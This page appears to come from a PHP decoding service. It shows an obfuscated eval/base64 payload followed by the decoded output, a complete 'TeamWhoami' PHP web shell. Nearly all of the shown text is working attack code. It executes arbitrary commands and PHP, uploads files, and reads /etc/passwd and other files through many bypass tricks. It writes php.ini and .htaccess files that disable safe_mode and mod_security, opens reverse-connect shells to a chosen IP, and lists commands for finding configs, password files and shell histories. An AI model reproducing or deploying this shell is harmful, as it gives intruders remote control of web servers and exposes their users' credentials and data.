Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(gzuncompress(base64_decode("eAHtfftbGzmy9s/wVygd77TZAZtAMrMbsOcQLgnfEmCB7Ow+IY8..
Decoded Output download
?><?php
# Bypass SuHosin
# Virtual
# users 6 ID /etc/passwd
$user = 'infoh4ckzu5';
$pass = 'infoh4ckzu5';
$uselogin = 1;
$sh3llColor = "#823ace";
# MySQL Info ---------
$DBhost = "localhost";
$DBuser = "root";
$DBpass = "root";
#---------------------
session_start();
error_reporting(0);
set_magic_quotes_runtime(0);
set_time_limit(0);
ignore_user_abort(TRUE);
ini_restore("safe_mode");
ini_restore("open_basedir");
ini_set('max_execution_time',0);
ini_set('output_buffering',0);
ini_set('safe_mode','Off');
// Set Current Directory
if(!$_POST && !$_SESSION['curDir']) {
$dir = getcwd();
$_SESSION['curDir'] = $dir;
} else if(empty($_POST['curDir'])) {
$dir = $_SESSION['curDir'];
} else {
$dir = filter($_POST['curDir']);
$_SESSION['curDir'] = $dir;
}
// Set Dir Mode
if($_GET['dir_mode']) {
$dir_mode = $_GET['dir_mode'];
$_SESSION['dir_mode'] = $dir_mode;
} else {
$dir_mode = $_SESSION['dir_mode'];
}
// Set Usable Command
if($_POST['exe_method']) {
$exec_method = $_POST['exe_method'];
} else {
$exec_method = "exec";
}
# Logout
if($_POST['logout']) {
print '<script>document.cookie="user=;";document.cookie="pass=;";</script>';
print '<script>document.location = "'.$_SERVER['PHP_SELF'].'";</script>';
}
if(strlen($dir)>1 && $dir[1]==":"){$os = "Windows";}else {$os = "Linux";}
if($_GET['info']){phpinfo();}
$safeMode = SafeMode();
$server = substr($SERVER_SOFTWARE,0,120);
$daemon = "";
?>
<html>
<head>
<title>TeamWhoami</title>
<link rel="shortcut icon" href='http://retoswhoami.x10host.com/img/developer.gif' />
<meta http-equiv=Content-Type content=text/html; charset=UTF-8>
<?php echo CSS($sh3llColor); ?>
</head>
<body dir='ltr'>
<?php
# ---------------------------------------#
# Authentication #
#----------------------------------------#
if ($uselogin ==1) {
if($_COOKIE["user"] != $user or $_COOKIE["pass"] != md5($pass)) {
if($_GET) {$user = $_GET['user'];$pass = $_GET['pass'];}
if($_POST['usrname']==$user && $_POST['passwrd']==$pass){
print'<script>document.cookie="user='.$_POST['usrname'].';";document.cookie="pass='.md5($_POST['passwrd']).';";</script>';
} else {
if($_POST['usrname']){
print'<script>alert("Go and play in the street man !!");</script>';
}
?>
<br><br>
<center><img src="http://retoswhoami.x10host.com/img/developer.gif"><br />
<sy>{...}</sy>
</center><br />
<div align="center">
<form method="POST" name="login_form" onSubmit="if(this.usrname.value==''){return false;}">
<input dir="ltr" name="usrname" id="username" value="" type="text" size="30" onBlur="Blur('username','userName');" onClick="Clear('username','userName');"/><br>
<input dir="ltr" name="passwrd" id="password" value="" type="password" size="30" onFocus="Focus(2);" /><br>
<input type="submit" value=" Login " name="login" />
</form>
</div>
<?php
footer();
exit;
}
}
}
?>
<table cellpadding='0' cellspacing='0' width='100%'>
<tr>
<td width='160'>
<center><form method="post"><input type="submit" value="Logout" name="logout" id="logout" /></form></center>
<a href="<?php echo $_SERVER['PHP_SELF']; ?>"><img border='0' src='http://retoswhoami.x10host.com/img/developer.gif' width='100%' height='100%'></a><br>
<center>{...}
<p></p>
<select name="dir_mode" id="dir_mode" onchange="change_dir_mode();">
<option value="cmd" <?php if($dir_mode == "cmd") {echo "selected";} ?> >CMD</option>
<option value="php" <?php if($dir_mode == "php") {echo "selected";} ?>>PHP</option>
</select>
</center>
</td>
<td>
<form method="post">
<table width='100%' style="border:none; padding:2px;" >
<tr>
<td width='103'>System</td>
<td width="323"><?php echo $os; ?></td>
<td width="90">Apache Modules</td>
<td width="278"><select ><?php
if(function_exists("apache_get_modules")) {
foreach (apache_get_modules() as $module) {
echo "<option>".$module."</option>";
}
}else {
echo "<option>NONE</option>";
}
?></select></td>
</tr>
<tr>
<td>uname </td>
<td><a href='http://www.google.com/search?q=<?php echo php_uname(); ?>' target='_blank'><u><?php echo php_uname(); ?></u></a></td>
<td>Curl</td>
<td><?php echo Curl(); ?></td>
</tr>
<tr>
<td>pwd</td>
<td><?php echo getcwd(); ?></td>
<td>Open Basedir</td>
<td><?php echo openBaseDir(); ?></td>
</tr>
<tr>
<td>whoami</td>
<td><?php echo get_current_user(); ?></td>
<td>Magic_Quotes</td>
<td><?php echo magicQouts(); ?></td>
</tr>
<tr>
<td>Server</td>
<td><?php echo $server; ?></td>
<td>Register Globals</td>
<td><?php echo RegisterGlobals(); ?></td>
</tr>
<tr>
<td>Server Name</td>
<td><?php echo $_SERVER['HTTP_HOST']; ?></td>
<td>Gzip</td>
<td><?php echo Gzip(); ?></td>
</tr>
<tr>
<td>Your IP</td>
<td><?php echo GetRealIP(); ?></td>
<td>Oracle</td>
<td><?php echo Oracle(); ?></td>
</tr>
<tr>
<td>Server IP</td>
<td><a href='http://bing.com/search?q=ip:<?php echo gethostbyname($_SERVER["HTTP_HOST"]); ?>&go=&form=QBLH&filt=all' target='_blank'><u><?php echo gethostbyname($_SERVER["HTTP_HOST"]); ?></u></a> [<a href="http://whois.webhosting.info/<?php echo gethostbyname($_SERVER["HTTP_HOST"]); ?>" target='_blank' />Reverse IP]</td>
<td>MSQL</td>
<td><?php echo MSQL(); ?></td>
</tr>
<tr>
<td>PHP Version</td>
<td><a href='javascript:openPHPInfo();'><u><?php echo phpversion(); ?></u></a></td>
<td>MySQL</td>
<td><?php echo MySQL2()." ".mysql_get_server_info(); ?></td>
</tr>
<tr>
<td>Safe Mode</td>
<td><?php echo $safeMode; ?></td>
<td>MySQLi</td>
<td><?php echo MysqlI(); ?></td>
</tr>
<tr>
<td>disable functions</td>
<td><select name="disableFunctions"><?php
$funArray = DisableFunctions();
$funArray = explode(",",$funArray);
sort($funArray);
foreach($funArray as $fun){echo "<option value='".$fun."'>".$fun."</option>";}
?></select>
<input name="STOP_Execute" type="submit" id="STOP_Execute" value="Turn Off" />
</td>
<td>MsSQL</td>
<td><?php echo MsSQL(); ?></td>
</tr>
</table>
[<a href='http://www.md5decrypter.co.uk/' target='_blank'>MD5 Cracker</a>]
[<a href='http://www.md5decrypter.co.uk/sha1-decrypt.aspx' target='_blank'>SHA1 Cracker</a>]
[<a href='http://www.md5decrypter.co.uk/ntlm-decrypt.aspx' target='_blank'>NTLM Cracker</a>]
<input name="USERS_1" type="submit" id="USERS_1" value="Users [1]" />
<input name="USERS_2" type="submit" id="USERS_2" value="Users [2]" />
<input name="USERS_3" type="submit" id="USERS_3" value="Users [3]" />
<input name="USERS_4" type="submit" id="USERS_4" value="Users [4]" />
<input name="USERS_5" type="submit" id="USERS_5" value="Users [5]" />
<input type="submit" name="forbidden_bypass" id="forbidden_bypass" value="Forbidden" />
<input type="submit" name="find_755" id="find_755" value="Find 755" />
<br>
</form>
</table>
<form method="post">
<center>
<textarea cols="150" rows="20" name="result" >
<?php
chdir($dir);
if($_POST['login'] || !$_POST){echo ScanDirs();}
else if($_POST['CMD_Execute']){if(empty($_POST['CMD_Line'])){echo scanDirs();}else {Exe(urldecode(filter($_POST['CMD_Line']))); }}
else if($_POST['PHP_Execute']){$eval = Evaluation(urldecode(filter($_POST['PHP_Line'])));}
else if($_POST['UPLOAD_Execute']) {
for ($i = 0; $i < count($_FILES['uploadfile']['name']); $i++) {
if($_FILES['uploadfile']['name'][$i] != '') {
if(function_exists('copy')){$upload = copy($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);}
else{$upload = move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);}
if($upload) {echo "The File ".$_FILES['uploadfile']['name'][$i]." Uploaded Successfully !
"; }
else { echo "The File ".$_FILES['uploadfile']['name'][$i]." Can't Be Upload :( !
";}
}
}
}
else if($_POST['EDIT_Execute']){$content = htmlspecialchars(file_get_contents(filter($_POST['Edit_Line'])));echo $content;}
else if($_POST['SAVE_Execute']) {
$content = filter($_POST['result']);
if(empty($content)){$content = " ";}
if(GenerateFile($_POST['FILE_NAME'],$content)){echo "[+]Saved Success !! ";}else{echo "[-]Save Failed !";}
}
else if($_POST['READ_Execute']) {
$path = urldecode(filter($_POST['READ_Line']));
$file = fopen($path,'r+');
if($_POST['READ_Type'] == "file"){echo htmlspecialchars(filter(FileF($path))); }
else if($_POST['READ_Type'] == "fgets"){while(($line = htmlspecialchars(filter(fgets($file)))) != false){echo $line;}}
else if($_POST['READ_Type'] == "fgetss"){while(($line = htmlspecialchars(filter(fgetss($file)))) != false){echo $line;}}
else if($_POST['READ_Type'] == "readfile"){echo htmlspecialchars(filter(readfile($path)));}
else if($_POST['READ_Type'] == "fread"){echo htmlspecialchars(filter(fread($file,filesize($path))));}
else if($_POST['READ_Type'] == "file_get_contents"){echo htmlspecialchars(filter(file_get_contents($path)));}
else if($_POST['READ_Type'] == "tempnam"){echo htmlspecialchars(filter(TempnameF($path)));}
else if($_POST['READ_Type'] == "copy"){echo htmlspecialchars(filter(CopyF($path)));}
else if($_POST['READ_Type'] == "mb_send_mail"){echo htmlspecialchars(filter(mbSendEmail($path)));}
else if($_POST['READ_Type'] == "highlight_file"){echo htmlspecialchars(filter(highlightFile($path)));}
else if($_POST['READ_Type'] == "curl"){echo htmlspecialchars(filter(CurlFileRead($path)));}
else if($_POST['READ_Type'] == "imap"){echo htmlspecialchars(filter(ImapF($path)));}
else if($_POST['READ_Type'] == "id"){echo htmlspecialchars(filter(ReadId($path)));}
else if($_POST['READ_Type'] == "show_source"){echo htmlspecialchars(filter(show_source($path)));}
else if($_POST['READ_Type'] == "mysql"){echo htmlspecialchars(filter(MySQLReader($path)));}
else if($_POST['READ_Type'] == "mysqli"){echo htmlspecialchars(filter(MySQLIReader($path)));}
else if($_POST['READ_Type'] == "symlink"){echo htmlspecialchars(filter(SymlinkF($path)));}
else if($_POST['READ_Type'] == "ioncube"){echo htmlspecialchars(filter(ioncube_read_file($path)));}
else if($_POST['READ_Type'] == "error_log"){echo htmlspecialchars(filter(ErrorLog($path)));}
else if($_POST['READ_Type'] == "include"){echo htmlspecialchars(filter(IncludeReader($path)));}
}
else if($_POST['STOP_Execute']) {
$genTry = GenerateFile("php.ini","
safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF");
if($genTry){echo "[+] php.ini Has Been Generated Successfully
";}
else {echo "[-] Failed to generate php.ini file !!
";}
$genTry = GenerateFile(".htaccess","
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule>
<Limit GET POST>
order deny,allow
deny from all
allow from all
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>
SetEnv PHPRC ".getcwd()."/php.ini
");
if($genTry){echo "[+] .htaccess Has Been Generated Successfully
";}
else {echo "[-] Failed to generate .htaccess file !!
";}
}
else if($_POST['CON_Type'] == "socks") {
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if($sock < 0){echo "[-] failed to create socket.";}
else {
$result = socket_connect($sock, filter(trim($_POST['ip'])), filter(trim($_POST['port'])));
if($result < 0){echo "[-] failed to connect back to host:".$_GET['host'];}
else {
$send_var = "
-== Team Whoami , Back Connection ==-
$";
socket_write($sock, $send_var, strlen($send_var));
while($input = socket_read($sock, 10000)) {
socket_write($sock, shell_exec($input), 12000);
}
}
}
} else if($_POST['CON_Type'] == "fsockopen") {
$ip = filter(trim($_POST['ip']));
$port = filter(trim($_POST['port']));
if (!empty($ip)) {
$con_fsockopen = fsockopen($ip , $port , $errno, $errstr );
if (!$con_fsockopen){
$result = "Error: didnt connect !!!";
} else {
$newLine="
";
fputs ($con_fsockopen ,"
-== Team Whoami , Back Connection ==-
$");
fputs($con_fsockopen , system("uname -a") .$newLine );
fputs($con_fsockopen , system("pwd") .$newLine );
fputs($con_fsockopen , system("id") .$newLine.$newLine );
while(!feof($con_fsockopen)){
fputs ($con_fsockopen);
$one="[$";
$two="]";
$result= fgets ($con_fsockopen, 8192);
$message = $result;
fputs ($con_fsockopen, $one. system("whoami") .$two. " " .$message."
");
}
fclose ($con_fsockopen);
}
}
}
else if($_POST['USERS_1']){echo GetUsers1();}
else if($_POST['USERS_2']) {
$array = GetUsers2();
foreach($array as $line)
{echo $line."
";}
}
else if($_POST['USERS_3']) {
$array = GetUsers3();
foreach($array as $line)
{echo $line."
";}
}
else if($_POST['USERS_4']) {
$array = GetUsers4();
foreach($array as $line)
{echo $line."
";}
} else if($_POST['USERS_5']){echo GetUsers5();}
else if($_POST['forbidden_bypass']) {
mkdir("forbidden");
chdir("forbidden");
$forbidden_htaccess = GenerateFile(".htaccess", "
DirectoryIndex sea.txt
HeaderName sea.txt
ReadmeName sea.txt
footerName sea.txt
ErrorDocument 404 /404.html
404.html = Symlinked sea.txt
Options all
ForceType text/plain
AddType text/plain .php
AddType text/plain .html
AddHandler server-parsed .php
AddHandler txt .php
");
if($forbidden_htaccess) {
echo "[+] make your symlink as sea.txt in /forbidden/ folder and find the url /forbidden/sea.txt or /forbidden/";
} else {
echo "[-] error with generating .htaccess file.";
}
} else if($_POST['find_755']) {
Exe("ls -dl /home/*/public_html/ | grep drwxr-xr-x");
}
?></textarea>
<?php
if($_POST['EDIT_Execute']){echo "<input type='submit' value='Save' name='SAVE_Execute' class='Save' />
<input type='hidden' name='FILE_NAME' value='".$_POST['Edit_Line']."' />
";}
?>
</center></form>
<table width='100%'>
<tr valign="top">
<td width='30%'>
<!-- Command Line -->
<form method='POST' enctype="multipart/form-data">
<table height='72' border='0' id='Box' width="100%">
<tr>
<td width="4%" height="21" style="background-color:<?php echo $sh3llColor; ?>"> </td>
<td style="background-color:#666;padding-left:10px;">Edit File
<input name="EDIT_Execute" type="submit" id="EDIT_Execute" value="Edit" /></td>
</tr>
<tr>
<td height="45" colspan="2"><input type='text' name='Edit_Line' id='Edit_Line' value='<?php if($_POST['EDIT_Execute']){echo filter($_POST['Edit_Line']);}else {echo $dir;} ?>' size="70"></td>
</tr>
</table>
</form>
<!-- End Of Command Line-->
</td>
<td width='30%' height='30'>
<!-- Command Line -->
<form method='POST' enctype="multipart/form-data">
<table height='72' border='0' id='Box'>
<tr>
<td width="4%" height="21" style="background-color:<?php echo $sh3llColor; ?>"> </td>
<td style="background-color:#666;padding-left:10px;">Command Line
<?php echo print_exe_method(); ?>
<input name="CMD_Execute" type="submit" id="CMD_Execute" value="Execute" onClick="document.getElementById('CMD_Line').value = encodeURIComponent(document.getElementById('CMD_Line').value);">
</td>
</tr>
<tr>
<td height="45" colspan="2">
<?php echo SelectCommand($os); ?>
<input type='text' name='CMD_Line' id='CMD_Line' value='' size="70">
<input name="curDir" type="text" id="curDir" value="<?php if($_POST['Execute']){echo $_POST['curDir'];} else {echo getcwd();} ?>" size="70"></td>
</tr>
</table>
</form>
<!-- End Of Command Line-->
</td>
<td width='30%' height='30' valign="top">
<!-- Commands Alias-->
<form method='POST' enctype="multipart/form-data">
<table width='100%' height='72' border='0' id='Box'>
<tr>
<td width="4%" height="21" style="background-color:<?php echo $sh3llColor; ?>"> </td>
<td style="background-color:#666;padding-left:10px;">Upload Files <span style="padding-left:10px;">
<input type='button' value='+' id='addUpload' size='5' onclick='addUploadInput();'>
<input name='UPLOAD_Execute' type='submit' id="UPLOAD_Execute" value='Upload Files'>
</span></td>
</tr>
<tr>
<td height="45" colspan="2">
<input type='file' name='uploadfile[]'>
<input type='file' name='uploadfile[]'><div id='uploadInput'></div></td>
</tr>
</table>
</form>
<!-- End Of Commands Alias-->
</td>
</tr>
<tr valign="top">
<td width='30%'>
<!-- Commands Alias-->
<form method='POST' enctype="multipart/form-data">
<table width='100%' height='72' border='0' id='Box'>
<tr>
<td width="4%" height="21" style="background-color:<?php echo $sh3llColor; ?>"> </td>
<td style="background-color:#666;padding-left:10px;">PHP Eval
<input name="PHP_Execute" type="submit" id="PHP_Execute" onClick="document.getElementById('PHP_Line').value = encodeURIComponent(document.getElementById('PHP_Line').value);" value="Evaluate"></td>
</tr>
<tr>
<td height="45" colspan="2"><label for="PHP_Line"></label>
<textarea name="PHP_Line" id="PHP_Line" cols="50" rows="2"><?php if($_POST['PHP_Execute']){echo urldecode(filter($_POST['PHP_Line']));}else {echo '$file = fopen("index.php","w+");
fwrite($file,"Hacked");
fclose($file);';}
?>
</textarea>
<br></td>
</tr>
</table>
</form>
<!-- End Of Commands Alias-->
</td>
<td width='30%' height='30'>
<!-- Commands Alias-->
<form method='POST' enctype="multipart/form-data">
<table width='100%' height='72' border='0' id='Box'>
<tr>
<td width="4%" height="21" style="background-color:<?php echo $sh3llColor; ?>"> </td>
<td style="background-color:#666;padding-left:10px;">Read Files
<select name="READ_Type" >
<option value="file" >file</option>
<option value="fgets" >fgets</option>
<option value="fgetss" >fgetss</option>
<option value="readfile" >readfile</option>
<option value="fread" >fread</option>
<option value="show_source" >show_source</option>
<option value="file_get_contents" >file_get_contents</option>
<option value="tempnam" >tempnam</option>
<option value="copy" >copy</option>
<option value="symlink" >Symlink</option>
<option value="mb_send_mail" >mb_send_mail</option>
<option value="highlight_file" >highlight_file</option>
<option value="curl" >Curl</option>
<option value="imap" >Imap</option>
<option value="mysql" >MySQL</option>
<option value="mysqli" >MySQLI</option>
<option value="ioncube">Ion Cube</option>
<option value="error_log">Error_Log</option>
<option value="include">Include</option>
<option value="id" >ID /etc/passwd</option>
</select>
<input name="READ_Execute" type="submit" id="READ_Execute" onClick="document.getElementById('READ_Line').value = encodeURIComponent(document.getElementById('READ_Line').value);" value="Read"></td>
</tr>
<tr>
<td height="45" colspan="2"><input type='text' name='READ_Line' id='READ_Line' value='<?php if($_POST['READ_Execute']){echo urldecode(filter($_POST['READ_Line']));}else {echo $dir;} ?>' size="70"></td>
</tr>
</table>
</form>
<!-- End Of Commands Alias-->
</td>
<td width='30%' height='30' valign="top">
<!-- Commands Alias-->
<form method='POST' enctype="multipart/form-data">
<table width='100%' height='72' border='0' id='Box'>
<tr>
<td width="4%" height="21" style="background-color:<?php echo $sh3llColor; ?>"> </td>
<td style="background-color:#666;padding-left:10px;">Back Connection
<input name='CON_Execute' type='submit' id="CON_Execute" value='Connect'></td>
</tr>
<tr>
<td height="45" colspan="2"><input type="text" name="ip" value="<?php if($_POST['CON_Execute']){echo $_POST['ip']; }else {echo GetRealIP(); } ?>" />
<input type="text" name="port" value="<?php if($_POST['CON_Execute']){echo $_POST['port']; }else {echo "443"; } ?>" />
<select name="CON_Type" >
<option value="socks">SOCKS</option>
<option value="fsockopen">FSOCKOPEN</option>
</select>
</td>
</tr>
</table>
</form>
<!-- End Of Commands Alias-->
</td>
</tr>
</table>
<?php
function IncludeReader($path) {
global $os;
if($os == "Windows"){$slash = "\";}else{$slash = "/";}
$fileName = substr(strrchr($path,$slash),1);
$includePath = substr($path,0,strpos($path,$fileName,0));
ini_set("include_path",$includePath);
include($fileName);
}
function GetUsers1() {
return Exe('ls /var/mail');
}
function GetUsers2() {
$array = array();
$lines = file("/etc/passwd");
foreach($lines as $nr=>$val) {
$str = explode(":",$val);
array_push($array,$str[0]);
}
return $array;
}
function GetUsers3() {
$array = array();
if ($dh = opendir("/home/")) {
while (($file = readdir($dh)) !== false) {
array_push($array,$file);
}
closedir($dh);
return $array;
}
}
function GetUsers4() {
$dir = "/home/";
$array = array();
if ($dh = opendir($dir)) {
$f = readdir($dh);
while (($f = readdir($dh)) !== false) {
$dh2=opendir($dir."/");
$f2 = readdir($dh2);
while (($f2 = readdir($dh2)) !== false) {
$f2.="/";
$dh3=opendir($dir.$f.$f2);
$f3 = readdir($dh3);
while (($f3 = readdir($dh3)) !== false) {
array_push($array,$f3);
}
}
}
closedir($dh);
return $array;
}
}
function GetUsers5(){
return realpath('/etc/passwd');
}
function ErrorLog($path){
$tempFile = uniqid();
if(get_magic_quotes_gpc() != 0){$path = addslashes($path);}
error_log(file_get_contents($path), 3, $tempFile);
$content = file_get_contents($tempFile);
unlink($tempFile);
return $content;
}
function SymlinkF($path) {
$tempFile = uniqid();
if(function_exists('symlink')) {
symlink($path,$tempFile);
$content = file_get_contents($tempFile);
unlink($tempFile);
return $content;
}
}
function MySQLReader($path) {
global $DBhost,$DBuser,$DBpass;
if(get_magic_quotes_gpc() != 0){$path = addslashes($path);}
$con = mysql_connect($DBhost,$DBuser,$DBpass);
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO '".$DBuser."'");
mysql_query("LOAD DATA LOCAL INFILE '".$path."' INTO TABLE a.a") or die(mysql_error());
$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result)){print $row . chr(10);}
mysql_query("DROP DATABASE a");
}
function MySQLIReader($path) {
global $DBhost,$DBuser,$DBpass;
if(get_magic_quotes_gpc() != 0){$path = addslashes($path);}
$con = mysql_connect($DBhost,$DBuser,$DBpass);
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
function r($fp, &$buf, $len, &$err) {
print fread($fp, $len);
}
$m = new mysqli($DBhost, $DBuser, $DBpass, 'a');
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '".$path."' INTO TABLE a.a");
$m->close();
}
function DBConnect($host,$user,$pass,$db) {
$connect = mysql_pconnect($host,$user,$pass);
if(!$connect){echo "Can't Connect to [ ".$host." ] [ ".$user." ] [ ".$pass." ]"; return false; }
else {
$tryToSelectDB = mysql_select_db($db,$connect);
if(!$tryToSelectDB){echo "Can't Enter The Database [ ".$db." ]"; return false; }
else{return true; return $connect;}
}
}
function ReadId($path) {
for($uid=0;$uid<60000;$uid++) {
$ara = posix_getpwuid($uid);
if (!empty($ara)){while (list ($key, $val) = eah($ara)){$content .= $val;}
}
}
return $content;
}
function ImapF($path) {
$stream = imap_open($path, "", "");
$str = imap_body($stream, 1);
imap_close($stream);
return $str;
}
function FileF($path) {
$lines = file($path); foreach($lines as $line){$content .= $line;}
return $content;
}
function CopyF($path) {
$tempFile = md5(uniqid()).".bb";
copy($path,$tempFile);
$content = file_get_contents($tempFile);
unlink($tempFile);
return $content;
}
function fgetssF($path) {
while(($line = fgetss($path)) != false){$content .= $line;}
return $content;
}
function highlightFile($path) {
return highlight_file($path);
}
function mbSendEmail($path) {
if(function_exists('mb_send_mail')) {
$tempFile = uniqid();
$additional_param = "-C ".$path." -X ".getcwd()."/".$tempFile;
mb_send_mail("[email protected]", NULL, NULL, NULL, $additional_param);
$content = file_get_contents($tempFile);
unlink($tempFile);
return $content;
}
}
function DeleteFile($fileName) {
global $os;
if(function_exists('unlink'))
{$delete = unlink($fileName);}
if((!$delete) && ($os == 'Windows'))
{$delete = Exe("del $fileName"); }
else if((!$delete) && ($os == 'Linux'))
{$delete = Exe("rm -f $fileName");}
if($delete){return true;}else{return false;}
}
function CurlFileRead($path) {
$ch = curl_init("file://".$path."".__FILE__);
var_dump(curl_exec($ch));
}
function FReadF($path) {
$file = fopen($path,'r+'); //Open The File
if(function_exists('fread')){htmlspecialchars(fread($file,filesize($file)));}
fclose($file);
}
function TempnameF($path) {
global $dir;
$temp = tempnam($dir, "cx");
if(copy("compress.zlib://".$path, $temp)) {
$handler = fopen($temp, "r");
$readFile = fread($handler, @filesize($temp));
fclose($handler);
$content .= htmlspecialchars($filename);
$content .= nl2br(htmlspecialchars($readFile));
$content .= htmlspecialchars($filename);
unlink($temp);
return $content;
}
}
function Evaluation($eval) {
$eval = str_replace(array("<?php","<?","?>"),"",$eval);
$eval = eval($eval);
if($eval){return true;}else{return false;}
}
function Oracle() {
if(function_exists('ocilogon')){$oracle = '<font color="red">ON</font>';}
else {$oracle = '<font color="green">OFF</font>';}return $oracle;
}
function MsSQL() {
if(function_exists('mssql_connect')){$msSQL = '<font color="red">ON</font>';}
else {$msSQL = '<font color="green">OFF</font>';}return $msSQL;
}
function MySQL2() {
$mysql_try = function_exists('mysql_connect');
if($mysql_try){$mysql = '<font color="red">ON</font>';}
else {$mysql = '<font color="green">OFF</font>';}return $mysql;
}
function MSQL() {
if (function_exists('msql_connect')){$mSql = '<font color="red">ON</font>';}
else {$mSql = '<font color="green">OFF</font>';}return $mSql;
}
function MysqlI() {
if (function_exists('mysqli_connect')){$mysqli = '<font color="red">ON</font>';}
else {$mysqli = '<font color="green">OFF</font>';}return $mysqli;
}
function Gzip() {
if (function_exists('gzencode')){$gzip = '<font color="red">ON</font>';}
else {$gzip = '<font color="green">OFF</font>';}return $gzip;
}
function openBaseDir() {
$openBaseDir = ini_get("open_basedir");
if (!$openBaseDir){$openBaseDir = '<font color="green">OFF</font>';}
else {$openBaseDir = '<font color="red">ON</font>';}
return $openBaseDir;
}
function Curl() {
if(extension_loaded('curl')){$curl = '<font color="red">ON</font>';}
else{$curl = '<font color="green">OFF</font>';}return $curl;
}
function magicQouts() {
if(function_exists('get_magic_quotes_gpc')){$mag = get_magic_quotes_gpc();}
if (empty($mag)){$mag = '<font color="green">OFF</font>';}
else {$mag= '<font color="red">ON</font>';}return $mag;
}
function SafeMode() {
$safe_mode = ini_get("safe_mode");
if (!$safe_mode){$safe_mode = '<font color="green">OFF</font>';}
else {$safe_mode = '<font color="red">ON</font>';}
return $safe_mode;
}
function DisableFunctions() {
$disfun = ini_get('disable_functions');
if (empty($disfun)){$disfun = '<font color="green">NONE</font>';}return $disfun;
}
function RegisterGlobals() {
if(ini_get('register_globals')){$registerg= '<font color="red">ON</font>';}
else{$registerg= '<font color="green">OFF</font>';}return $registerg;
}
function GetRealIP() {
if (getenv(HTTP_X_FORWARDED_FOR)){$ip=getenv(HTTP_X_FORWARDED_FOR);}
elseif (getenv(HTTP_CLIENT_IP)){$ip=getenv(HTTP_CLIENT_IP);}
else {$ip=getenv(REMOTE_ADDR);}
return $ip;
}
function SelectCommand($os) {
global $os;
if($os == 'Windows') {
echo "
<select name='alias' id='alias' onChange='AddAlias();' >
<option value=''>NONE</option>
<option value='dir' >List Directory</option>
<option value='dir /s /w /b index.php'>Find index.php in current dir</option>
<option value='dir /s /w /b *config*.php'>Find *config*.php in current dir </option>
<option value='netstat -an'>Show active connections</option>
<option value='net start'>Show running services</option>
<option value='tasklist'>Show Pro</option>
<option value='net user'>User accounts</option>
<option value='net view'>Show computers</option>
<option value='arp -a'>ARP Table</option>
<option value='ipconfig /all'>IP Configuration</option>
<option value='netstat -an'>netstat -an</option>
<option value='systeminfo'>System Informations</option>
<option value='getmac'>Get Mac Address</option>
</select>
";
}
else {
echo "
<select name='alias' id='alias' onChange='AddAlias();' >
<option value=''>NONE</option>
<option value='ls -la'>List dir</option>
<option value='cat /etc/hosts'>IP Addresses</option>
<option value='cat /proc/sys/vm/mmap_min_addr'>Check MMAP</option>
<option value='lsattr -va'>list file attributes on a Linux second extended file system</option>
<option value='netstat -an | grep -i listen'>show opened ports</option>
<option value='find / -type f -perm -04000 -ls'>find all suid files</option>
<option value='find . -type f -perm -04000 -ls'>find suid files in current dir</option>
<option value='find / -type f -perm -02000 -ls'>find all sgid files</option>
<option value='find . -type f -perm -02000 -ls'>find sgid files in current dir</option>
<option value='find / -type f -name config.inc.php'>find config.inc.php files</option>
<option value='find / -type f -name \"config*\"'>find config* files</option>
<option value='find . -type f -name \"config*\"'>find config* files in current dir</option>
<option value='find / -perm -2 -ls'>find all writable folders and files</option>
<option value='find . -perm -2 -ls'>find all writable folders and files in current dir</option>
<option value='find / -type f -name service.pwd'>find all service.pwd files</option>
<option value='find . -type f -name service.pwd'>find service.pwd files in current dir</option>
<option value='find / -type f -name .htpasswd'>find all .htpasswd files</option>
<option value='find . -type f -name .htpasswd'>find .htpasswd files in current dir</option>
<option value='find / -type f -name .bash_history'>find all .bash_history files</option>
<option value='find . -type f -name .bash_history'>find .bash_history files in current dir</option>
<option value='find / -type f -name .fetchmailrc'>find all .fetchmailrc files</option>
<option value='find . -type f -name .fetchmailrc'>find .fetchmailrc files in current dir</option>
<option value='locate httpd.conf'>locate httpd.conf files</option>
<option value='locate vhosts.conf'>locate vhosts.conf files</option>
<option value='locate proftpd.conf'>locate proftpd.conf files</option>
<option value='locate psybnc.conf'>locate psybnc.conf files</option>
<option value='locate my.conf'>locate my.conf files</option>
<option value='locate admin.php'>locate admin.php files</option>
<option value='locate cfg.php'>locate cfg.php files</option>
<option value='locate conf.php'>locate conf.php files</option>
<option value='locate config.dat'>locate config.dat files</option>
<option value='locate config.php'>locate config.php files</option>
<option value='locate config.inc'>locate config.inc files</option>
<option value='locate config.inc.php'>locate config.inc.php</option>
<option value='locate config.default.php'>locate config.default.php files</option>
<option value='locate config'>locate config* files </option>
<option value='locate \".conf\"'>locate .conf files</option>
<option value='locate \".pwd\"'>locate .pwd files</option>
<option value='locate \".sql\"'>locate .sql files</option>
<option value='locate \".htpasswd\"'>locate .htpasswd files</option>
<option value='locate \".bash_history\"'>locate .bash_history files</option>
<option value='locate \".mysql_history\"'>locate .mysql_history files</option>
<option value='locate \".fetchmailrc\"'>locate .fetchmailrc files</option>
<option value='locate backup'>locate backup files</option>
<option value='locate dump'>locate dump files</option>
<option value='locate priv'>locate priv files</option>
</select>
";
}
}
function CSS($sh3llColor) {
$css = "
<style>
BODY
{
FONT-FAMILY: Verdana;
margin: 2;
background-color: #000000;
color:white;
font-size:10pt;
}
sy
{
color:".$sh3llColor.";
font-size:7pt;
}
#Box
{
color:".$sh3llColor.";
background-color:#000;
font-size:14px;
font-weight:bold;
border:none;
}
table
{
border:none;
BORDER: #eeeeee outset;
